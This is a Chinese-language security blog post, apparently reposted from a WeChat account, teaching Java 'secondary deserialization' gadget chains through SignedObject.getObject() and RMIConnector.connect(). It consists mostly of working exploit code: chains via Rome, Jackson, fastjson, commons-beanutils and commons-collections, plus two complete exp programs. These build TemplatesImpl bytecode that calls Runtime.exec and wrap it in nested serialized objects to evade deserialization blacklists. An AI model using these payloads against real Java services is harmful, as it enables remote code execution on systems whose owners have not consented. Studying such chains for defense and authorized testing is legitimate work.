为了更好找到银行驻场,学习二次反序列化。
SignedObject
0x01 SignedObject分析
比较简单。可以序列化,field可控。太完美了,早入行几年就好了。
java/security/SignedObject.java#getObject()
可以看到这个从content获取流然后进行反序列化。
content是一个byte数组。继承ser。那么无非就是反射赋值,或者构造函数赋值。
构造函数pubilc,直接new就完事了,然后触发getObject()就行。很容易想到jackson,fastjson,cb等来触发javabean的getter来进行触发。
java/security/Signature.java#Map()
private final static Map<String,Boolean> signatureInfo;
static {
signatureInfo = new ConcurrentHashMap<String,Boolean>();
Boolean TRUE = Boolean.TRUE;
// pre-initialize with values for our SignatureSpi implementations
signatureInfo.put("sun.security.provider.DSA$RawDSA", TRUE);
signatureInfo.put("sun.security.provider.DSA$SHA1withDSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$MD2withRSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$MD5withRSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$SHA1withRSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$SHA256withRSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$SHA384withRSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$SHA512withRSA", TRUE);
signatureInfo.put("com.sun.net.ssl.internal.ssl.RSASignature", TRUE);
signatureInfo.put("sun.security.pkcs11.P11Signature", TRUE);
}
jdk自带算法
根据自带算法,构造Signature的构造函数
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(templates, privateKey,signature );
0x02 多种方法触发SignedObject.getObject()
一、依赖: hashmap->Rome
因为调用SignedObject.getObject()。所以需要gettset来触发。有很多方法。
hashmap.readObject()->hash(key)->key.hashcode->Rome.ObjectBean.hashcode()->EqualsBean.javabeanHashCode()->ToStringBean.java#toString()->SignedObject.getObject()
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(SerObj, privateKey,signature );
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
ObjectBean root = new ObjectBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(root,"x");
二、依赖: BadAttributeValueExpException->Rome
BadAttributeValueExpException.readObject()->ToStringBean.java#toString()->SignedObject.getObject()
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(SerObj, privateKey,signature );
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
setFieldValue(val1, "val", toStringBean);
三、依赖:jackson
BadAttributeValueExpException.readObject()->jackson.databind.node.POJONode.toString()->om.fasterxml.jackson.databind.node.toString()->com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString()->SignedObject.getObject()
// 保证能写入序列化数据,利用javassist删除writeReplace()。
try {
ClassPool pool_1 = ClassPool.getDefault();
CtClass jsonNode = pool_1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(hashMap, privateKey,signature );
POJONode jsonNodes1 = new POJONode(signedObject);
BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
setFieldValue(val1, "val", jsonNodes1);
四、依赖:fastjson 1.2.48+
HashMap.readObject()->BadAttributeValueExpException.readObject()->BadAttributeValueExpException.toString()->com.alibaba.fastjson.JSONObject.toString()/com.alibaba.fastjson.JSONArray.toString()->com.alibaba.fastjson.JSON.toString()->com.alibaba.fastjson.JSON.toJSONString()->com/alibaba/fastjson/serializer/JSONSerializer.java#write()->com/alibaba/fastjson/serializer/ASMSerializerFactory.javacreateJavaBeanSerializer(SerializeBeanInfo beanInfo) ->SignedObject.getObject()
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(SerObj, privateKey,signature );
JSONObject jsonObject = new JSONObject();
jsonObject.put("222",signedObject);
// JSONArray objects = new JSONArray();
// objects.add(signedObject);
BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
setFieldValue(val1, "val", jsonObject);
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(signedObject,val1);
五、依赖:cb
PriorityQueue.readObect()-> org.apache.commons.beanutils.BeanComparator.compare()->PropertyUtils.getProperty()->SignedObject.getObject()->PropertyUtilsBean.java#getSimpleProperty()->SignedObject.getObject()
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(SerObj, privateKey,signature );
BeanComparator<Object> objectBeanComparator = new BeanComparator<>();
setFieldValue(objectBeanComparator,"property","object");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1);
setFieldValue(priorityQueue,"comparator",objectBeanComparator);
setFieldValue(priorityQueue,"size",2);
Object[] objects = {signedObject, 1};
setFieldValue(priorityQueue,"queue",objects);
0x03 完整exp
package com.towser;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import com.tmp.cc.cc5_Templateslmpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import org.apache.commons.beanutils.BeanComparator;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.PriorityQueue;
import java.util.TreeMap;
public class signedobject {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("cmd");
clazz.setSuperclass(pool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec("open .");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "xx");
// setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 一、利用链:hashmap->hash(key)->key.hashcode->Rome.EqualsBean.javabeanHashCode()->EqualsBean.toString()->jackson.databind.node.POJONode.toString()->com.fasterxml.jackson.databind.node.toString()->com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString()->templates.getOutputProperties()
// POJONode jsonNodes = new POJONode(templates);
// EqualsBean bean = new EqualsBean(String.class, "22");
// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(bean,"222");
// setFieldValue(bean,"_obj",jsonNodes);
// 二、利用链:HashMap.readObject()->BadAttributeValueExpException.readObject()->BadAttributeValueExpException.toString()->**com.alibaba.fastjson.JSONObject.toString()/com.alibaba.fastjson.JSONArray.toString()**->com.alibaba.fastjson.JSON.toString()->com.alibaba.fastjson.JSON.toJSONString()->com/alibaba/fastjson/serializer/JSONSerializer.java#write()->com/alibaba/fastjson/serializer/ASMSerializerFactory.javacreateJavaBeanSerializer(SerializeBeanInfo beanInfo) ->templates.getOutputProperties()
// JSONObject jsonObject = new JSONObject();
// jsonObject.put("1",templates);
//
// BadAttributeValueExpException val = new BadAttributeValueExpException(null);
// setFieldValue(val, "val", jsonObject);
//
// HashMap<Object, Object> hashMap2 = new HashMap<>();
// hashMap2.put(templates,val);
// 三、利用链:BadAttributeValueExpException.readObject()->jackson.databind.node.POJONode.toString()->om.fasterxml.jackson.databind.node.toString()->com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString()->templates.getOutputProperties()
// 删除 BaseJsonNode 的 writeReplace,使能写入序列化数据
try {
ClassPool pool_1 = ClassPool.getDefault();
CtClass jsonNode = pool_1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", jsonNodes);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(val, privateKey,signature );
// 一、利用链:hashmap->hash(key)->key.hashcode->Rome.ObjectBean.hashcode()->EqualsBean.javabeanHashCode()->oStringBean.java#toString()->SignedObject.getObject()
// ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
// ObjectBean root = new ObjectBean(ToStringBean.class, toStringBean);
//
// HashMap<Object, Object> hashMap1 = new HashMap<>();
// hashMap1.put(root,"x");
// 二、BadAttributeValueExpException.readObject()->ToStringBean.java#toString()->SignedObject.getObject()
// ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
// BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
// setFieldValue(val1, "val", toStringBean);
// 三、BadAttributeValueExpException.readObject()->jackson.databind.node.POJONode.toString()->om.fasterxml.jackson.databind.node.toString()->com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString()->SignedObject.getObject()
// POJONode jsonNodes1 = new POJONode(signedObject);
// BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
// setFieldValue(val1, "val", jsonNodes1);
// 四、HashMap.readObject()->BadAttributeValueExpException.readObject()->BadAttributeValueExpException.toString()->**com.alibaba.fastjson.JSONObject.toString()/com.alibaba.fastjson.JSONArray.toString()**->com.alibaba.fastjson.JSON.toString()->com.alibaba.fastjson.JSON.toJSONString()->com/alibaba/fastjson/serializer/JSONSerializer.java#write()->com/alibaba/fastjson/serializer/ASMSerializerFactory.javacreateJavaBeanSerializer(SerializeBeanInfo beanInfo) ->SignedObject.getObject()
//// JSONObject jsonObject = new JSONObject();
//// jsonObject.put("222",signedObject);
// JSONArray objects = new JSONArray();
// objects.add(signedObject);
//
// BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
// setFieldValue(val1, "val", objects);
//
// HashMap<Object, Object> hashMap1 = new HashMap<>();
// hashMap1.put(signedObject,val1);
// 五、PriorityQueue.readObect()-> org.apache.commons.beanutils.BeanComparator.compare()->PropertyUtils.getProperty()->SignedObject.getObject()->PropertyUtilsBean.java#getSimpleProperty()->SignedObject.getObject()
BeanComparator<Object> objectBeanComparator = new BeanComparator<>();
setFieldValue(objectBeanComparator,"property","object");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1);
setFieldValue(priorityQueue,"comparator",objectBeanComparator);
setFieldValue(priorityQueue,"size",2);
Object[] objects = {signedObject, 1};
setFieldValue(priorityQueue,"queue",objects);
FileOutputStream ser2 = new FileOutputStream("ser2");
ObjectOutputStream oos = new ObjectOutputStream(ser2);
oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser2"));
ois.readObject();
}
}
RMIConnector
0x01 分析
javax.management.remote.rmi.RMIConnector#findRMIServerJRMP()
可以看到传入base64字节,然后转object流,然后序列化
往上跟
javax.management.remote.rmi.RMIConnector#findRMIServer()
可以看到以“/stub/”开头就会调用findRMIServerJRMP()
javax.management.remote.rmi.RMIConnector#connect()
可以看见rmiServer等于空就回调用findRMIServer()
查看构造方法
可以看见构造方法符合条件。
JMXServiceURL必须为service:jmx:开头。
这里获取JMXServiceURL的URLPATH,然后URLPATH要以/stub/开头,截取第6位到末位的字符传入触发二次反序列化。
所以new一个JMXServiceURL对象,然后反射赋值就行。最后构造RMIConnector。
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+serbase64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
0x02 构造
由于我们要出发connect(),它不是javabean,所以有很多限制,佬们想到的是cc的invoketransfrom来触发。
既然是cc触发,说实话,如大佬所说鸡肋。
cc链触发,很容易想到cc4.0用PriorityQueue,cc 3.2.1一下用lazymap.get()
一、cc6前半
hashmap.readObject()->hash(key)->key.hashcode->tiedMapEntry.hashcode->tiedMapEntry.getValue->lazyMap.get()->invokerTransformer.Transformer()->rmiConnector.connect()
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
Map<Object,Object> lazyMap = LazyMap.decorate( new HashMap<>(), new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "xx");
lazyMap.clear();
setFieldValue(lazyMap,"factory", invokerTransformer);
二、 cc4.0、PriorityQueue
PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->TransformingComparator.comparator()->InvokerTransformer.transformer()
InvokerTransformer transformer = new InvokerTransformer("connect", null, null);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue priorityQueue = new PriorityQueue(1);
setFieldValue(priorityQueue,"size",2);
Object[] objects = {rmiConnector, 1};
setFieldValue(priorityQueue,"queue",objects);
setFieldValue(priorityQueue,"comparator",comparator);
三、 cc3.2.1 cc4 动态代理
AnnotationInvocationHandler.readObject->AnnotationInvocationHandler.invoke->DefaultedMap.get()->transformerChain.transformer()->InvokerTransformer.transformer()->rmiConnector.connect()
CC4 没有lazymap了, 改用defaultedMap即可。cc1都可以用
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
DefaultedMap<Object, Optional<ConstantTransformer>> defaultedMap =
DefaultedMap.defaultedMap(new HashMap<>(), Optional.of(new ConstantTransformer(1)));
setFieldValue(defaultedMap,"value", transformerChain);
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Anotationdeclared =
AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
Anotationdeclared.setAccessible(true);
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, defaultedMap);
Map Mapproxy =(Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(), new Class[]{Map.class}, h);
Object instance = Anotationdeclared.newInstance(Override.class,Mapproxy);
0x03 完整exp
package com.towser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.tmp.cc.cc1;
import com.tmp.cc.cc5;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.map.DefaultedMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.util.*;
public class rmiconnector {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void main(String[] args) throws Exception {
File file = new File("ser2");
byte[] fileBytes = Files.readAllBytes(file.toPath());
String base64 = Base64.getEncoder().encodeToString(fileBytes);
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+base64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
// 一、cc6前半
// hashmap.readObject()->hash(key)->key.hashcode->tiedMapEntry.hashcode->tiedMapEntry.getValue->lazyMap.get()->invokerTransformer.Transformer()->rmiConnector.connect()
// InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
//
// Map<Object,Object> lazyMap = LazyMap.decorate( new HashMap<>(), new ConstantTransformer(1));
// TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
//
// HashMap<Object, Object> expMap = new HashMap<>();
// expMap.put(tiedMapEntry, "xx");
// lazyMap.clear();
// setFieldValue(lazyMap,"factory", invokerTransformer);
// 二、 cc4.0、PriorityQueue
// PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->TransformingComparator.comparator()->InvokerTransformer.transformer()
// InvokerTransformer transformer = new InvokerTransformer("connect", null, null);
//
// TransformingComparator comparator = new TransformingComparator(transformer);
//
// PriorityQueue priorityQueue = new PriorityQueue(1);
// setFieldValue(priorityQueue,"size",2);
// Object[] objects = {rmiConnector, 1};
// setFieldValue(priorityQueue,"queue",objects);
// setFieldValue(priorityQueue,"comparator",comparator);
// 三、 cc3.2.1 cc4 动态代理
// AnnotationInvocationHandler.readObject->AnnotationInvocationHandler.invoke->DefaultedMap.get()->transformerChain.transformer()->InvokerTransformer.transformer()->rmiConnector.connect()
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
DefaultedMap<Object, Optional<ConstantTransformer>> defaultedMap =
DefaultedMap.defaultedMap(new HashMap<>(), Optional.of(new ConstantTransformer(1)));
setFieldValue(defaultedMap,"value", transformerChain);
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Anotationdeclared =
AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
Anotationdeclared.setAccessible(true);
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, defaultedMap);
Map Mapproxy =(Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(), new Class[]{Map.class}, h);
Object instance = Anotationdeclared.newInstance(Override.class,Mapproxy);
FileOutputStream ser2 = new FileOutputStream("RMIC2");
ObjectOutputStream oos = new ObjectOutputStream(ser2);
oos.writeObject(instance);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("RMIC2"));
ois.readObject();
}
}
累了,下次再写。
佬的剑招
https://tttang.com/archive/1701/#toc_cc
https://su18.org/
原文始发于微信公众号(黑伞安全):二次反序列化学习(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论